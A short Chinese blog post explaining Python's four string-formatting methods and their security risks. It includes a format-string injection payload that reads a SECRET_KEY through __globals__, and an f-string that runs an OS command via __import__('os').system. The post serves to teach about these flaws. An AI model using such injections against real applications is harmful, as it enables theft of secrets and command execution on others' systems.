python格式化字符串漏洞

在python中格式化字符串的方法有如下四种
第一种:%操作符,沿袭了C语言的风格

>>> name = 'Bob'
>>> 'Hello, %s' % name
"Hello, Bob"

第二种:string.Template,利用标准库中的模板字符串类进行字符串格式化.

>>> name = 'Bob'
>>> from string import Template
>>> t = Template('Hey, $name!')
>>> t.substitute(name=name)
'Hey, Bob!'

第三种:调用formate方法(存在安全问题)

>>> name , errno = 'Bob' , 50159747054
>>> 'Hello, {}'.format(name)
'Hello, Bob'
>>> 'Hey {name}, there is a 0x{errno:x} error!'.format(name=name, errno=errno)
'Hey Bob, there is a 0xbadc0ffee error!'

存在安全隐患的代码如下

>>> config = {'SECRET_KEY': '12345'}
>>> class User(object):
...  def __init__(self, name):
...   self.name = name
...
>>> user = User('joe')
>>> '{0.__class__.__init__.__globals__[config]}'.format(user)
"{'SECRET_KEY': '12345'}"

如果用来格式化的字符串存在问题,攻击者就可以通过注入特殊变量,带出敏感数据.
第四种:fStrings,允许执行字符串中的python表达式,功能强大,安全问题也可想而知

>>> a , b = 5 , 10
>>> f'Five plus ten is {a + b} and not {2 * (a + b)}.'
'Five plus ten is 15 and not 30.'
>>> f'{__import__("os").system("id")}'
uid=0(root) gid=0(root) groups=0(root)

找到两道例题,但是都没有环境,网上的wp也大多说的只言片语的,因此就没有进行实战测试.

posted @ 2024-08-02 10:01  colorfullbz  阅读(136)  评论(0)    收藏  举报